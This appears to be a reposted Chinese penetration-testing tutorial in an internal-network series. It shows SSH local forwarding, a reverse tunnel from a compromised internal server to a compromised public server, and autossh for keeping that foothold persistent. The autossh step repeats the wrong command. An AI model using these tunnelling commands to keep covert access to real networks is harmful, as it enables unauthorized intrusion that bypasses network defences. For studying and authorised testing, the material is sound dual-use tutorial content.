内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

  • A+
所属分类:安全文章

内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!


欢迎各位添加微信号:asj-jacky

加入安世加 交流群 和大佬们一起交流安全技术

使用SSH做端口转发以及反向隧道
内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道


内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道


目录

    SSH做本地端口转发

    SSH做反向隧道(远程端口转发)

    用autossh建立稳定隧道


内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道


SSH开启端口转发需要修改 /etc/ssh/sshd_config配置文件,将 GatewayPorts修改为yes


内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

-f 后台执行ssh指令-C 允许压缩数据-N 不执行远程指令-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口-L 本地端口转发-D 动态端口转发

内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

SSH做本地端口转发

现在我们有这样一种情景,服务器A上有Redis数据库,并且我们知道Redis数据库的密码。但是Redis数据库只监听本地的6379端口,也就是127.0.0.1:6379,现在我们需要连接该Redis数据库,读取其中的数据。那么,我们就可以用SSH做本地端口转发,在服务器A上监听16379端口,当连接该主机的16379端口时,16379端口相当于正向代理,将我们的流量给本地的6379端口,再将6379端口返回的流量给我们的主机


内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

ssh -fCNL *:16379:localhost:6379 localhost  #本地监听16379端口,将16379端口的流量都转发给6379端口



内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

►SSH做反向隧道(远程端口转发)

注意:这里公网服务器B和内网服务器A都必须是Linux系统,才能建立SSH隧道

现在我们有这么一个环境,我们拿到了公网服务器B的权限,并通过公网服务器B进一步内网渗透,拿到了内网服务器A的权限。但是现在我们想要在自己的Kali机器上,获取内网服务器A的一个稳定持久的SSH权限。那么,我们可以通过SSH反向隧道,来得到内网服务器A的一个SSH权限。我们可以将内网服务器A的22端口远程转发到公网服务器的1234端口。

通俗地说,就是在机器A上做到B机器的反向代理;然后在B机器上做正向代理实现远程端口的转发

内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

首先,在内网服务器A的操作

反向代理ssh -fCNR  192.168.10.139:8888:localhost:22  [email protected]  #意思就是将A机器的22号端口的流量都转发给B机器的8888端口


内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

然后,公网服务器B的操作

正向代理ssh -fCNL  *:1234:localhost:8888 localhost  #意思就是将本地监听的1234端口的流量都转发给本地的8888端口


内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

接着,在黑客机器C的操作,通过ssh公网服务器B的某个端口实现ssh内网服务器A的22号端口

ssh -p 1234 [email protected]   #ssh连接到公网服务器的1234端口


内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

所以最终流量的走向是这样的:黑客SSH到公网服务器B的1234端口,公网服务器B监听了本地的1234端口,将流量转发到本地的8888端口,于是内网服务器A将本地的22号端口反向代理到了公网服务器B的8888端口,公网服务器B又将8888端口的流量转发到了本地的1234端口,所以黑客SSH连接到了内网服务器A。

内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

缺点:这种ssh反向链接会因为超时而关闭,如果关闭了那从外网连通内网的通道就无法维持了,为此我们需要另外的方法来提供稳定的ssh反向代理隧道。


内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

用autossh建立稳定隧道

安装autossh:yum install autossh

autossh的参数与ssh的参数是一致的,但是不同的是,在隧道断开的时候,autossh会自动重新连接而ssh不会。另外不同的是我们需要指出的-M参数,这个参数指定一个端口,这个端口是外网的B机器用来接收内网A机器的信息,如果隧道不正常而返回给A机器让他实现重新连接。
在内网A机器上的操作:

ssh -p 1234 [email protected]   #ssh连接到公网服务器的1234端口



内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

参考文章:实战SSH端口转发

             使用SSH反向隧道进行内网穿透


相关文章:内网渗透(七) | 内网转发及隐蔽隧道:网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)



内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

责编:vivian

来源:谢公子博客

内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

内网渗透(十六) | 域分析工具BloodHound的使用

内网渗透 | 红蓝对抗:Windows利用WinRM实现端口复用打造隐蔽后门

内网渗透(十五) | psexec工具使用浅析(admin$)

内网渗透(十四) | 工具的使用|Impacket的使用

内网渗透(十三) | WinRM远程管理工具的使用

内网渗透(十二) | 利用委派打造隐蔽后门(权限维持)

内网渗透(十一) | 哈希传递攻击(Pass-the-Hash,PtH)

技术干货 | 工具:Social engineering tookit 钓鱼网站

技术干货 | 工具的使用:CobaltStrike上线Linux主机(CrossC2)

内网渗透(十) | 票据传递攻击

内网渗透(九) | Windows域的管理

内网渗透(八) | 内网转发工具的使用

内网渗透 | 域内用户枚举和密码喷洒攻击(Password Spraying)

内网渗透(七) | 内网转发及隐蔽隧道:网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网渗透(六) | 工作组和域的区别

内网渗透(五) | AS-REP Roasting攻击

内网渗透 | 内网穿透工具FRP的使用
内网渗透(四) | 域渗透之Kerberoast攻击_Python
内网渗透(三) | 域渗透之SPN服务主体名称
内网渗透(二) | MSF和CobaltStrike联动
内网渗透 | 域内认证之Kerberos协议详解
内网渗透(一) | 搭建域环境

本文始发于微信公众号(安世加):内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: